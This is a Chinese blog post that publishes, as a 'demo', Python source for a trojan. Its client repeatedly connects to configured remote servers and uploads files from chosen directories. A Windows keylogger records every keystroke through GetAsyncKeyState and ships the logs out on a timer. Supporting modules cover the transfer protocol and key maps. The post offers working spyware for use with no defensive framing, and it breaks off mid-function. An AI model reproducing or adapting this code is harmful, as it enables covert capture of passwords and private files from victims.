首页 > 编程语言 >网络编程_浅尝木马...

网络编程_浅尝木马...

时间:2023-02-25 13:13:58浏览次数:42  
标签:... self VK send 浅尝 木马 import path def

title: 网络编程_demo
author: 杨晓东
permalink: 网络编程_demo
date: 2021-10-02 11:27:04
categories:
- 网络编程
tags:
- demo

网络编程_木马__demo

client.py

import os
import sys
import socket
import platform
import time
import threading
import json
from config import *
from common import *
from netapi import NetAPI
from path import scan_dir
from keylogger import keylogger


def socket_connect(hostlist, port):
    lasthost = 'localhost'
    print('hosts:', hostlist)
    while True:
        if isinstance(hostlist, (list, tuple)):
            hosts = [lasthost] + list(hostlist)
        else:
            hosts = [lasthost, host]
        for host in hosts:
            # print('try to connect', (host, port))
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                s.connect((host, port,))
                lasthost = host
                print('connect %s:%s successfully' % (host, str(port)))
            except Exception as e:
                # print('Exceptions:', e)
                continue
            return s
        time.sleep(3)


def send_dir(addr, port, start_dir, visited={}):
    if isinstance(start_dir, (list, tuple)):
        for d in start_dir:
            visited = send_dir(addr, port, d, visited)
        return visited
    # clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # clientSocket.connect((addr, port, ))
    clientSocket = socket_connect(addr, port)
    logging.debug('try to get banner')
    banner = b''
    while banner[-1:] != b'\0':
        print(banner, clientSocket)
        banner += clientSocket.recv(1024)
    logging.debug('get banner done')
    if banner[:4] == b'7RJN':
        logging.debug('banner correct')
        handler = NetAPI(clientSocket)
        for filename in scan_dir(start_dir):
            filesize = os.path.getsize(filename)
            filemtime = os.path.getmtime(filename)
            signature = [filesize, filemtime]
            if visited.get(filename) == signature:
                continue
            handler.send_file(filename)
            visited[filename] = signature
        handler.close()
    clientSocket.shutdown(socket.SHUT_WR)
    clientSocket.close()
    return visited


def send_dir_update(addr, port, start_dir, signature=None):
    visited = {}
    if isinstance(signature, str) and os.path.exists(signature):
        with open(signature) as fp:
            visited = json.load(fp)
    visited = send_dir(addr, port, start_dir, visited=visited)
    if isinstance(signature, str):
        dirname = os.path.dirname(signature)
        if not os.path.exists(dirname):
            os.makedirs(dirname)
        with open(signature, 'w') as fp:
            json.dump(visited, fp)
    return visited


def send_file_thread(addr, port, logs, signature=None):
    last_send = 0.0
    while True:
        curtime = time.time()
        if curtime - last_send < update_interval:
            continue
        last_send = curtime
        args = (addr, port, start_dirs,)
        kwargs = {'signature': signature, }
        thread = threading.Thread(target=send_dir_update, args=args, kwargs=kwargs, )
        thread.start()
        threads.append(thread)
        time.sleep(1)


def send_log_thread(addr, port, logs, signature=None):
    while True:
        send_dir_update(addr, port, logs, signature=signature)
        time.sleep(keylog_interval)


if __name__ == '__main__':
    threads = []
    trojan_dir = trojan_dirs.get(platform.system(), [])
    start_dirs = upload_dirs.get(platform.system(), [])
    keylogdir = keylogger_dirs.get(platform.system())
    signature = None
    keylogsignature = None
    if isinstance(trojan_dir, str):
        if not os.path.exists(trojan_dir):
            os.makedirs(trojan_dir)
        signature = os.path.join(trojan_dir, 'Signature.json')
        keylogsignature = os.path.join(trojan_dir, 'KeyLogger.json')
    if keylogdir:
        thread = threading.Thread(target=keylogger, args=(keylogdir, False,))
        thread.start()
        threads.append(thread)
        args = (SERVERS, PORT, keylogdir,)
        kwargs = {'signature': keylogsignature}
        thread = threading.Thread(target=send_log_thread, args=args, kwargs=kwargs)
        thread.start()
        threads.append(thread)
    if start_dirs:
        args = (SERVERS, PORT, start_dirs,)
        kwargs = {'signature': signature}
        thread = threading.Thread(target=send_file_thread, args=args, kwargs=kwargs)
        thread.start()
        threads.append(thread)

    for thread in threads:
        thread.join()

common.py

import sys
import logging
# logging.basicConfig(level=logging.DEBUG)

class Output:
    def __init__(self, mode=True):
        self.silentMode = mode
    def __call__(self, *args, **kwargs):
        if not self.silentMode:
            print(*args, **kwargs)
            sys.stdout.flush()
    def set(self, mode):
        self.silentMode = mode

def thread_refresh(threads, result=None):
    if not result:
        result = []
    elif not isinstance(result, (list, tuple)):
        result = [result]
    for thread in threads:
        if isinstance(thread, (list, tuple)):
            result = thread_refresh(thread, result)
            continue
        thread.join(0.1)
        if thread.is_alive():
            result.append(thread)
    return result


inout.py

import io
import socket
import struct
from common import *

class InOutException(Exception):
    pass

class INOUT:
    def __init__(self, handle):
        self.handle    = handle
        self.exceptTag = b'\\'
    def data_to_nbyte(self, n, exceptFlag=False):
        exceptTag = {False: b'', True:self.exceptTag}.get(exceptFlag, b'')
        if isinstance(n, int):
            if n < (1 << 8):    tag  = 'B'
            elif n < (1 << 16): tag  = 'H'
            elif n < (1 << 32): tag  = 'L'
            elif n < (1 << 64): tag  = 'Q'
            else:               tag  = 'U'
            if tag != 'U':
                n     = struct.pack('!' + tag, n)
                nbyte = tag.encode('utf-8') + n
            else:
                b     = bignum_to_bytes(n)
                nbyte = tag.encode('utf-8') + self.data_to_nbyte(len(b)) + b
        elif isinstance(n, bytes):
            tag, b  = 's', n
            nbyte = tag.encode('utf-8') + self.data_to_nbyte(len(b)) + b
        elif isinstance(n, str):
            tag, b  = 'c', n.encode('utf-8')
            nbyte = tag.encode('utf-8') + self.data_to_nbyte(len(b)) + b
        else:
            raise TypeError('data_to_nbyte: Invalid type: ' + type(tag))
        if exceptFlag: logging.debug('send exception: %s', nbyte)
        return exceptTag + nbyte

    def nbyte_to_data(self):
        size_info  = { 'B': 1, 'H': 2, 'L':4, 'Q':8 }
        valendata  = { 's': lambda n: n,
                       'c': lambda n: n.decode('utf-8'),
                       'U': lambda n: bytes_to_bignum(n), }
        btag       = self.read_raw(1)
        if not btag:
            return None
        exceptFlag = False
        if btag == self.exceptTag:
            exceptFlag = True
            btag       = self.read_raw(1)
        if not btag:
            return None
        tag          = btag.decode('utf-8')
        if tag in size_info:
            size         = size_info[tag]
            bnum         = b''
            while len(bnum) < size:
                bnum    += self.read_raw(size - len(bnum))
            result       = struct.unpack('!' + tag, bnum)[0]
        elif tag in valendata:
            size = self.nbyte_to_data()
            if size >= 65536:
                raise ValueError('length too long: ' + str(size))
            bstr         = b''
            while len(bstr) < size:
                bstr    += self.read_raw(size - len(bstr))
            # result       = bstr if tag == 's' else bstr.decode('utf-8')
            result       = valendata[tag](bstr)
        else:
            raise TypeError('nbyte_to_data: Invalid type: ' + tag)
        if exceptFlag:
            logging.debug('recv exception: %s', result)
            raise InOutException(result)
        return result
    def read(self):
        d = self.nbyte_to_data()
        return d
    def write(self, d, exceptFlag=False):
        byte_data = self.data_to_nbyte(d, exceptFlag)
        self.write_raw(byte_data)
    def read_raw(self, n):
        d = self.read_handle(n)
        return d
    def write_raw(self, d):
        return self.write_handle(d)
    def close(self):
        return self.close_handle()
    #
    def read_handle(self, n):
        return b''
    def write_handle(self, d):
        return len(d)
    def close_handle(self):
        return self.handle

class NetworkIO(INOUT):
    def read_handle(self, n):
        try:
            return self.handle.recv(n)
        except Exception as e:
            logging.debug('Exception: %s', str(e))
            raise
    def write_handle(self, d):
        try:
            return self.handle.send(d)
        except Exception as e:
            logging.debug('Exception: %s', str(e))
            raise
    def close_handle(self):
        pass

class FileIO(INOUT):
    def read_handle(self, n):
        return self.handle.read(n)
    def write_handle(self, d):
        return self.handle.write(d)

class StringIO(INOUT):
    def read_handle(self, n):
        data, self.handle = self.handle[:n], self.handle[n:]
        return data
    def write_handle(self, d):
        self.handle += d


def InitIO(handle):
    readers = {
        bytes:         StringIO,
        io.IOBase:     FileIO,
        socket.socket: NetworkIO,
    }
    return readers.get(type(handle), lambda n: None)(handle)

def bignum_to_bytes(n):
    result = b''
    while n > 0:
        b = n % 128
        n >>= 7
        if n:
            b += 128
        result += bytes([b])
    return result

def bytes_to_bignum(bs):
    result = 0
    exp    = 0
    for b in bs:
        n = b % 128
        result += n << exp
        exp += 7
        if b & (1 << 7) == 0:
            break
    return result


keydef.py

VK_LBUTTON             = 0x01
VK_RBUTTON             = 0x02
VK_CANCEL              = 0x03   # Cancel
VK_MBUTTON             = 0x04
VK_XBUTTON1            = 0x05
VK_XBUTTON2            = 0x06
VK_BACK                = 0x08   # Backspace
VK_TAB                 = 0x09   # Tab
VK_CLEAR               = 0x0C   # Clear
VK_RETURN              = 0x0D   # Enter
VK_SHIFT               = 0x10   # Shift
VK_CONTROL             = 0x11   # Ctrl
VK_MENU                = 0x12   # Alt
VK_PAUSE               = 0x13   # Pause
VK_CAPITAL             = 0x14   # CapsLock
VK_KANA                = 0x15
VK_HANGUEL             = 0x15
VK_HANGUL              = 0x15
VK_JUNJA               = 0x17
VK_FINAL               = 0x18
VK_HANJA               = 0x19
VK_KANJI               = 0x19
VK_ESCAPE              = 0x1B   # Esc
VK_CONVERT             = 0x1C
VK_NONCONVERT          = 0x1D
VK_ACCEPT              = 0x1E
VK_MODECHANGE          = 0x1F
VK_SPACE               = 0x20   # SPACE
VK_PRIOR               = 0x21   # PageUp
VK_NEXT                = 0x22   # PageDown
VK_END                 = 0x23   # End
VK_HOME                = 0x24   # Home
VK_LEFT                = 0x25   # Left
VK_UP                  = 0x26   # Up
VK_RIGHT               = 0x27   # Right
VK_DOWN                = 0x28   # Down
VK_SELECT              = 0x29   # Select
VK_PRINT               = 0x2A   # Print
VK_EXECUTE             = 0x2B   # Execute
VK_SNAPSHOT            = 0x2C   # PrintScreen
VK_INSERT              = 0x2D
VK_DELETE              = 0x2E
VK_HELP                = 0x2F
VK_0                   = 0x30   # 0 [SHIFT] )
VK_1                   = 0x31   # 1 [SHIFT] !
VK_2                   = 0x32   # 2 [SHIFT] @
VK_3                   = 0x33   # 3 [SHIFT] #
VK_4                   = 0x34   # 4 [SHIFT] $
VK_5                   = 0x35   # 5 [SHIFT] %
VK_6                   = 0x36   # 6 [SHIFT] ^
VK_7                   = 0x37   # 7 [SHIFT] &
VK_8                   = 0x38   # 8 [SHIFT] *
VK_9                   = 0x39   # 9 [SHIFT] (
VK_A                   = 0x41   # a [UPPER] A
VK_B                   = 0x42   # b [UPPER] B
VK_C                   = 0x43   # c [UPPER] C
VK_D                   = 0x44   # d [UPPER] D
VK_E                   = 0x45   # e [UPPER] E
VK_F                   = 0x46   # f [UPPER] F
VK_G                   = 0x47   # g [UPPER] G
VK_H                   = 0x48   # h [UPPER] H
VK_I                   = 0x49   # i [UPPER] I
VK_J                   = 0x4A   # j [UPPER] J
VK_K                   = 0x4B   # k [UPPER] K
VK_L                   = 0x4C   # l [UPPER] L
VK_M                   = 0x4D   # m [UPPER] M
VK_N                   = 0x4E   # n [UPPER] N
VK_O                   = 0x4F   # o [UPPER] O
VK_P                   = 0x50   # p [UPPER] P
VK_Q                   = 0x51   # q [UPPER] Q
VK_R                   = 0x52   # r [UPPER] R
VK_S                   = 0x53   # s [UPPER] S
VK_T                   = 0x54   # t [UPPER] T
VK_U                   = 0x55   # u [UPPER] U
VK_V                   = 0x56   # v [UPPER] V
VK_W                   = 0x57   # w [UPPER] W
VK_X                   = 0x58   # x [UPPER] X
VK_Y                   = 0x59   # y [UPPER] Y
VK_Z                   = 0x5A   # z [UPPER] Z
VK_LWIN                = 0x5B
VK_RWIN                = 0x5C
VK_APPS                = 0x5D
VK_SLEEP               = 0x5F
VK_NUMPAD0             = 0x60   # Ins [NUMLOCK] 0
VK_NUMPAD1             = 0x61   # End [NUMLOCK] 1
VK_NUMPAD2             = 0x62   # Down [NUMLOCK] 2
VK_NUMPAD3             = 0x63   # PageDown [NUMLOCK] 3
VK_NUMPAD4             = 0x64   # Left [NUMLOCK] 4
VK_NUMPAD5             = 0x65   # NumPad5 [NUMLOCK] 5
VK_NUMPAD6             = 0x66   # Right [NUMLOCK] 6
VK_NUMPAD7             = 0x67   # Home [NUMLOCK] 7
VK_NUMPAD8             = 0x68   # Up [NUMLOCK] 8
VK_NUMPAD9             = 0x69   # PageUp [NUMLOCK] 9
VK_MULTIPLY            = 0x6A   # * [NUMLOCK] *
VK_ADD                 = 0x6B   # + [NUMLOCK] +
VK_SEPARATOR           = 0x6C
VK_SUBTRACT            = 0x6D   # - [NUMLOCK] -
VK_DECIMAL             = 0x6E   # Del [NUMLOCK] .
VK_DIVIDE              = 0x6F   # / [NUMLOCK] /
VK_F1                  = 0x70   # F1
VK_F2                  = 0x71   # F2
VK_F3                  = 0x72   # F3
VK_F4                  = 0x73   # F4
VK_F5                  = 0x74   # F5
VK_F6                  = 0x75   # F6
VK_F7                  = 0x76   # F7
VK_F8                  = 0x77   # F8
VK_F9                  = 0x78   # F9
VK_F10                 = 0x79   # F10
VK_F11                 = 0x7A   # F11
VK_F12                 = 0x7B   # F12
VK_F13                 = 0x7C   # F13
VK_F14                 = 0x7D   # F14
VK_F15                 = 0x7E   # F15
VK_F16                 = 0x7F   # F16
VK_F17                 = 0x80   # F17
VK_F18                 = 0x81   # F18
VK_F19                 = 0x82   # F19
VK_F20                 = 0x83   # F20
VK_F21                 = 0x84   # F21
VK_F22                 = 0x85   # F22
VK_F23                 = 0x86   # F23
VK_F24                 = 0x87   # F24
VK_NUMLOCK             = 0x90   # NumLock
VK_SCROLL              = 0x91   # Scroll
VK_LSHIFT              = 0xA0
VK_RSHIFT              = 0xA1
VK_LCONTROL            = 0xA2
VK_RCONTROL            = 0xA3
VK_LMENU               = 0xA4
VK_RMENU               = 0xA5
VK_BROWSER_BACK        = 0xA6
VK_BROWSER_FORWARD     = 0xA7
VK_BROWSER_REFRESH     = 0xA8
VK_BROWSER_STOP        = 0xA9
VK_BROWSER_SEARCH      = 0xAA
VK_BROWSER_FAVORITES   = 0xAB
VK_BROWSER_HOME        = 0xAC
VK_VOLUME_MUTE         = 0xAD
VK_VOLUME_DOWN         = 0xAE
VK_VOLUME_UP           = 0xAF
VK_MEDIA_NEXT_TRACK    = 0xB0
VK_MEDIA_PREV_TRACK    = 0xB1
VK_MEDIA_STOP          = 0xB2
VK_MEDIA_PLAY_PAUSE    = 0xB3
VK_LAUNCH_MAIL         = 0xB4
VK_LAUNCH_MEDIA_SELECT = 0xB5
VK_LAUNCH_APP1         = 0xB6
VK_LAUNCH_APP2         = 0xB7
VK_OEM_1               = 0xBA   # ; [SHIFT] :
VK_OEM_PLUS            = 0xBB   # = [SHIFT] +
VK_OEM_COMMA           = 0xBC   # , [SHIFT] <
VK_OEM_MINUS           = 0xBD   # - [SHIFT] _
VK_OEM_PERIOD          = 0xBE   # . [SHIFT] >
VK_OEM_2               = 0xBF   # / [SHIFT] ?
VK_OEM_3               = 0xC0   # ` [SHIFT] ~
VK_OEM_4               = 0xDB   # [ [SHIFT] {
VK_OEM_5               = 0xDC   # \ [SHIFT] |
VK_OEM_6               = 0xDD   # ] [SHIFT] }
VK_OEM_7               = 0xDE   # ' [SHIFT] "
VK_OEM_8               = 0xDF
VK_OEM_102             = 0xE2
VK_PROCESSKEY          = 0xE5
VK_PACKET              = 0xE7
VK_ATTN                = 0xF6
VK_CRSEL               = 0xF7
VK_EXSEL               = 0xF8
VK_EREOF               = 0xF9
VK_PLAY                = 0xFA
VK_ZOOM                = 0xFB
VK_NONAME              = 0xFC
VK_PA1                 = 0xFD
VK_OEM_CLEAR           = 0xFE

keylogger.py

import time
import sys
import os
import time
import threading
import platform
from keymap import *
from common import Output, thread_refresh


MAX_KEYLOGGER_BUF = 1024

if platform.system() == 'Windows':
    import win32api
    
    def keylogger(SaveDirs=[], silentMode=False):
        write         = Output(silentMode)
        result        = ''
        last_update   = 0
        while True:
            name   = ''
            for code in range(8, 256):
                if code in [VK_CONTROL, VK_MENU, VK_SHIFT, VK_CAPITAL, VK_NUMLOCK]:
                    continue
                status = win32api.GetAsyncKeyState(code)
                if status & 1 != 1: continue
                CtrlKey  = win32api.GetKeyState(VK_CONTROL) < 0
                AltKey   = win32api.GetKeyState(VK_MENU) < 0
                ShiftKey = win32api.GetKeyState(VK_SHIFT) < 0
                CapsLock = win32api.GetKeyState(VK_CAPITAL) & 1 == 1
                NumLock  = win32api.GetKeyState(VK_NUMLOCK) & 1 == 1
                # upper    = ShiftKey != CapsLock
                Modifier = []
                if CtrlKey:   Modifier.append('Control')
                if AltKey:    Modifier.append('Alt')
                if ShiftKey:  Modifier.append('Shift')
                character = keymap.get(code)
                if character is None:
                    continue
                name = '-'.join(Modifier + [character])
                if VK_A <= code <= VK_Z and not Modifier and CapsLock:
                    name = character.upper()
                if VK_NUMPAD0 <= code <= VK_DIVIDE and NumLock and keymap.get('NumLock-' + name):
                    name = keymap.get('NumLock-' + name)
                elif keymap.get(name):
                    name = keymap.get(name)
                if len(name) > 1 or ord(name) > 255:
                    name = '[' + name + ']'
                if code == VK_RETURN:
                    name += '\r\n'
                write(name)
                result += name
            if len(result) > MAX_KEYLOGGER_BUF:
                result  = result[-MAX_KEYLOGGER_BUF:]
            cur_time = time.time()
            if result and cur_time - last_update > 1:
                fileName = time.strftime('%Y%m%d') + '.txt'
                for SaveDir in SaveDirs:
                    try:
                        if not os.path.exists(SaveDir):
                            os.makedirs(SaveDir)
                        fullName = os.path.join(SaveDir, fileName)
                        with open(fullName, 'a') as fp:
                            fp.write(result)
                        result = ''
                    except:
                        logging.debug('Can\'t open %s', fullName)
                        continue
                last_update = cur_time
                result = ''
            time.sleep(0.01)

else:
    def keylogger(SaveDirs=[], silentMode=False):
        pass

if __name__ == '__main__':
    ### change parameters here ###
    save_dirs       = ['C:\\KeyLogger']
    update_interval = 3
    SilentMode      = False    # no output
    ##############################
    threads = []
    if platform.system() == 'Windows':
        import client
        def send_log():
            while True:
                for SaveDir in save_dirs if isinstance(save_dirs, list) else [save_dirs]:
                    client.send_dir(SaveDir)
                time.sleep(update_interval)
        thread = threading.Thread(target=send_log)
        thread.start()
        threads.append(thread)
    thread = threading.Thread(target=keylogger, args=(save_dirs, SilentMode))
    thread.start()
    threads.append(thread)
    while threads:
        threads = thread_refresh(threads)

keymap.py

from keydef import *
keymap = {
    VK_CANCEL:           'Cancel',
    VK_BACK:             'Backspace',
    VK_TAB:              'Tab',
    VK_CLEAR:            'Clear',
    VK_RETURN:           'Enter',
    VK_SHIFT:            'Shift',
    VK_CONTROL:          'Ctrl',
    VK_MENU:             'Alt',
    VK_PAUSE:            'Pause',
    VK_CAPITAL:          'CapsLock',
    VK_ESCAPE:           'Esc',
    VK_SPACE:            ' ',
    VK_PRIOR:            'PageUp',
    VK_NEXT:             'PageDown',
    VK_END:              'End',
    VK_HOME:             'Home',
    VK_LEFT:             'Left',
    VK_UP:               'Up',
    VK_RIGHT:            'Right',
    VK_DOWN:             'Down',
    VK_SELECT:           'Select',
    VK_PRINT:            'Print',
    VK_EXECUTE:          'Execute',
    VK_SNAPSHOT:         'PrintScreen',
    VK_0:                '0',
    VK_1:                '1',
    VK_2:                '2',
    VK_3:                '3',
    VK_4:                '4',
    VK_5:                '5',
    VK_6:                '6',
    VK_7:                '7',
    VK_8:                '8',
    VK_9:                '9',
    VK_A:                'a',
    VK_B:                'b',
    VK_C:                'c',
    VK_D:                'd',
    VK_E:                'e',
    VK_F:                'f',
    VK_G:                'g',
    VK_H:                'h',
    VK_I:                'i',
    VK_J:                'j',
    VK_K:                'k',
    VK_L:                'l',
    VK_M:                'm',
    VK_N:                'n',
    VK_O:                'o',
    VK_P:                'p',
    VK_Q:                'q',
    VK_R:                'r',
    VK_S:                's',
    VK_T:                't',
    VK_U:                'u',
    VK_V:                'v',
    VK_W:                'w',
    VK_X:                'x',
    VK_Y:                'y',
    VK_Z:                'z',
    VK_NUMPAD0:          'Ins',
    VK_NUMPAD1:          'End',
    VK_NUMPAD2:          'Down',
    VK_NUMPAD3:          'PageDown',
    VK_NUMPAD4:          'Left',
    VK_NUMPAD5:          'NumPad5',
    VK_NUMPAD6:          'Right',
    VK_NUMPAD7:          'Home',
    VK_NUMPAD8:          'Up',
    VK_NUMPAD9:          'PageUp',
    VK_MULTIPLY:         '*',
    VK_ADD:              '+',
    VK_SUBTRACT:         '-',
    VK_DECIMAL:          'Del',
    VK_DIVIDE:           '/',
    VK_F1:               'F1',
    VK_F2:               'F2',
    VK_F3:               'F3',
    VK_F4:               'F4',
    VK_F5:               'F5',
    VK_F6:               'F6',
    VK_F7:               'F7',
    VK_F8:               'F8',
    VK_F9:               'F9',
    VK_F10:              'F10',
    VK_F11:              'F11',
    VK_F12:              'F12',
    VK_F13:              'F13',
    VK_F14:              'F14',
    VK_F15:              'F15',
    VK_F16:              'F16',
    VK_F17:              'F17',
    VK_F18:              'F18',
    VK_F19:              'F19',
    VK_F20:              'F20',
    VK_F21:              'F21',
    VK_F22:              'F22',
    VK_F23:              'F23',
    VK_F24:              'F24',
    VK_NUMLOCK:          'NumLock',
    VK_SCROLL:           'Scroll',
    VK_OEM_1:            ';',
    VK_OEM_PLUS:         '=',
    VK_OEM_COMMA:        ',',
    VK_OEM_MINUS:        '-',
    VK_OEM_PERIOD:       '.',
    VK_OEM_2:            '/',
    VK_OEM_3:            '`',
    VK_OEM_4:            '[',
    VK_OEM_5:            '\\',
    VK_OEM_6:            ']',
    VK_OEM_7:            '\'',
    'Shift-0':           ')',
    'Shift-1':           '!',
    'Shift-2':           '@',
    'Shift-3':           '#',
    'Shift-4':           '$',
    'Shift-5':           '%',
    'Shift-6':           '^',
    'Shift-7':           '&',
    'Shift-8':           '*',
    'Shift-9':           '(',
    'Shift-a':           'A',
    'Shift-b':           'B',
    'Shift-c':           'C',
    'Shift-d':           'D',
    'Shift-e':           'E',
    'Shift-f':           'F',
    'Shift-g':           'G',
    'Shift-h':           'H',
    'Shift-i':           'I',
    'Shift-j':           'J',
    'Shift-k':           'K',
    'Shift-l':           'L',
    'Shift-m':           'M',
    'Shift-n':           'N',
    'Shift-o':           'O',
    'Shift-p':           'P',
    'Shift-q':           'Q',
    'Shift-r':           'R',
    'Shift-s':           'S',
    'Shift-t':           'T',
    'Shift-u':           'U',
    'Shift-v':           'V',
    'Shift-w':           'W',
    'Shift-x':           'X',
    'Shift-y':           'Y',
    'Shift-z':           'Z',
    'NumLock-Ins':       '0',
    'NumLock-End':       '1',
    'NumLock-Down':      '2',
    'NumLock-PageDown':  '3',
    'NumLock-Left':      '4',
    'NumLock-NumPad5':   '5',
    'NumLock-Right':     '6',
    'NumLock-Home':      '7',
    'NumLock-Up':        '8',
    'NumLock-PageUp':    '9',
    'NumLock-*':         '*',
    'NumLock-+':         '+',
    'NumLock--':         '-',
    'NumLock-Del':       '.',
    'NumLock-/':         '/',
    'Shift-;':           ':',
    'Shift-=':           '+',
    'Shift-,':           '<',
    'Shift--':           '_',
    'Shift-.':           '>',
    'Shift-/':           '?',
    'Shift-`':           '~',
    'Shift-[':           '{',
    'Shift-\\':          '|',
    'Shift-]':           '}',
    'Shift-\'':          '\"',
}

myip.py

import urllib.request

def myip_wan():
    url = 'http://bot.whatismyipaddress.com'
    ip  = None
    with urllib.request.urlopen(url) as fp:
        ip  = fp.read()
        if isinstance(ip, bytes):
            ip = ip.decode('utf-8')
    return ip

def myip_lan():
    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect(("8.8.8.8", 53))
    ip = s.getsockname()[0]
    s.close()
    return ip

if __name__ == '__main__':
    ip = myip_wan()
    print(ip)
    ip = myip_lan()
    print(ip)

netapi.py

import io
import os
import sys
import time
import shutil
from config import *
from common import *
from inout  import InitIO, InOutException
from path   import split_path
import socket

FILE_BEGIN_TAG   = b'FILEBEG0'
FILE_END_TAG     = b'FILEEND0'
FILE_SIZE_TAG    = b'FILESIZE'
FILE_NAME_TAG    = b'FILENAME'
FILE_CONTENT_TAG = b'FILEDATA'
FILE_BLOCKS_TAG  = b'FILEBLKS'
FILE_SUCCESS_TAG = b'FILEGOOD'
FILE_FAIL_TAG    = b'FILEFAIL'
FILE_ABORT_TAG   = b'FILEABRT'
FILE_TAG_SIZE    = len(FILE_BEGIN_TAG)

class NetAPI:
    def __init__(self, iHandle=None, oHandle=None):
        if not iHandle:
            iHandle    = b''
        if not oHandle:
            oHandle    = iHandle
        self.iHandle   = InitIO(iHandle)
        self.oHandle   = InitIO(oHandle)
        self.savePath  = 'SavedFiles'
        self.maxSize   = 2147483647
        self.blockSize = 4096

    def recv_data(self):          return self.iHandle.read()
    def send_tag(self, tag):      self.oHandle.write(tag, True)
    def send_data(self, data):    self.oHandle.write(data)

    # send
    def send_file(self, path):
        fileName = os.path.abspath(path)
        fileSize = os.path.getsize(path)
        try:
            logging.debug('test for %s', fileName)
            open(fileName, 'rb')     # test if the file is accessible
        except Exception as e:
            logging.error('Exception while testing opening: %s %s', fileName, str(e))
            return None
        if fileSize > self.blockSize:
            fileTag, fileSend = (FILE_BLOCKS_TAG,  lambda: self.send_blocks(path),)
        else:
            fileTag, fileSend = (FILE_CONTENT_TAG, lambda: self.send_content(path),)
        fileInfo = [
            (FILE_BEGIN_TAG,   None),
            (FILE_NAME_TAG,    lambda: self.send_name(fileName),),
            (FILE_SIZE_TAG,    lambda: self.send_size(fileSize),),
            (fileTag,          fileSend,),
            (FILE_END_TAG,     None,),
        ]
        for tag, sendAction in fileInfo:
            backTag = None
            error = None
            try:
                self.send_tag(tag)
                logging.debug('waiting for response after send tag %s', tag)
                self.recv_data()
            except InOutException as e:
                logging.info('get tag %s', e.args[0])
                backTag = e.args[0]
            except socket.error as e:
                logging.error('Exception when send tag: %s %s', tag, str(e))
                return None
            except Exception as e:
                logging.error('Exception when send: %s %s', tag, str(e))
                error = FILE_ABORT_TAG
                break
            if error:
                self.send_tag(error)
                return False
            error = None
            if not sendAction: continue
            try:
                sendAction()
                logging.debug('wait for response after action')
                self.recv_data()
            except InOutException as e:
                logging.info('Exception when send action: %s %s', tag, e.args[0])
                backTag = e.args[0]
            except Exception as e:
                logging.error('Exception: %s', str(e))
                error = FILE_ABORT_TAG
                break
            if error:
                self.send_tag(error)
                return False
            if backTag != FILE_SUCCESS_TAG:
                return False
        return True
    def send_content(self, fileName):
        logging.debug('send content %s', fileName)
        try:
            filedata = open(fileName, 'rb').read()
            self.send_data(filedata)
        except Exception as e:
            logging.error('send_content.Exception: %s', str(e))
            raise
        return len(filedata)
    def send_success(self):       self.send_tag(FILE_SUCCESS_TAG)
    def send_fail(self):          self.send_tag(FILE_FAIL_TAG)
    def send_abort(self):         self.send_tag(FILE_ABORT_TAG)
    # receive
    def recv_file(self):
        receiver = {
            FILE_NAME_TAG:    self.recv_name,
            FILE_SIZE_TAG:    self.recv_size,
            FILE_CONTENT_TAG: self.recv_content,
            FILE_BLOCKS_TAG:  self.recv_blocks,
        }
        result  = {}
        while True:
            tag = None
            logging.debug('wait for tag')
            try:
                data        =  self.recv_data()
                if data is None: break
                continue
            except InOutException as e:
                tag         = e.args[0]
            except socket.error:
                logging.error('Exception: %s', str(e))
                raise
            except Exception as e:
                logging.error('Exception: %s', str(e))
                break
            logging.debug('get tag: %s', tag)
            if not tag: continue
            elif tag == FILE_BEGIN_TAG:
                result = {}
                logging.debug('send success after get tag')
                self.send_success()
                continue
            elif tag == FILE_END_TAG:
                logging.debug('send success after get tag')
                self.send_success()
                break
            elif tag == FILE_ABORT_TAG:
                logging.debug('abort')
                result = {}
                continue
            self.send_success()
            try:
                logging.debug('wait for receive data')
                data = receiver.get(tag, (lambda : None))()
                if data is None: break
                result[tag] = data
                logging.debug('send success after receive data')
                self.send_success()
                continue
            except InOutException as e:
                tag         = e.args[0]
                break
            except socket.error:
                raise
            except Exception as e:
                logging.error('Exception: %s', str(e))
                break
            if tag: break
            logging.debug('send fail after data')
            self.send_fail()
        if not result:
            result = None
        return result
    def recv_verify(self, result):
        essential_flag = {FILE_NAME_TAG:1,    FILE_SIZE_TAG:2,
                          FILE_CONTENT_TAG:4, FILE_BLOCKS_TAG:4}
        flag = sum([essential_flag.get(x) for x in result.keys()])
        if flag != 7: result = None
        return result
    def recv_size(self):
        size = self.recv_data()
        if not isinstance(size, int):
            raise TypeError('invalid size type %s' % type(size))
        logging.debug('filesize: %s', size)
        return size
    def recv_name(self):
        path = self.recv_data()
        if not isinstance(path, str):
            raise TypeError('invalid name type %s' % type(path))
        namelist = path.split('\t')
        if '..' in namelist:
            raise ValueError('dangerous path')
        name = os.path.join(*namelist)
        logging.debug('filename: %s', name)
        return name
    def send_blocks(self, fileName):
        logging.debug('send blocks %s', fileName)
        fp        = open(fileName, 'rb')
        blockID   = 0
        totalSize = 0
        while True:
            block      = fp.read(self.blockSize)
            if not block: break
            blockID   += 1
            self.send_data(blockID)
            self.send_data(block)
            totalSize += len(block)
            backID     = self.recv_data()
            if backID != blockID:
                self.send_fail()
                break
        self.send_data(0)
        return totalSize
    def send_size(self, n):
        return self.send_data(n)
    def send_name(self, path):
        fileName = '\t'.join(split_path(path))
        return self.send_data(fileName)
    def recv_content(self):
        data = self.recv_data()
        if not isinstance(data, bytes):
            raise TypeError('invalid content type %s' % type(data))
        return data
    def recv_blocks(self):
        totalSize   = 0
        lastBlockID = 0
        fileName = os.path.abspath(os.path.join(self.savePath, 'TEMP%x' % int(time.time())))
        dirname  = os.path.dirname(fileName)
        if not os.path.exists(dirname):
            os.makedirs(dirname)
        with open(fileName, 'wb') as fp:
            while True:
                blockID = self.recv_data()
                if not isinstance(blockID, int):
                    raise TypeError('invalid type of block id %s' % type(blockID))
                if blockID == 0:  # end of block
                    break
                if lastBlockID + 1 != blockID:
                    raise ValueError('block ID error last:%d current:%d' % (lastBlockID, blockID))
                lastBlockID = blockID
                block   = self.recv_data()
                if not isinstance(block, bytes):
                    raise TypeError('invalid type of block %s' % type(blockID))
                if len(block) + totalSize > self.maxSize:
                    raise RuntimeError('exceed max file size limit')
                fp.write(block)
                self.send_data(blockID)
        return fileName
    def close(self):
        self.iHandle.close()
        self.oHandle.close()

def save_file(fileInfo, target):
    fileName = fileInfo.get(FILE_NAME_TAG)
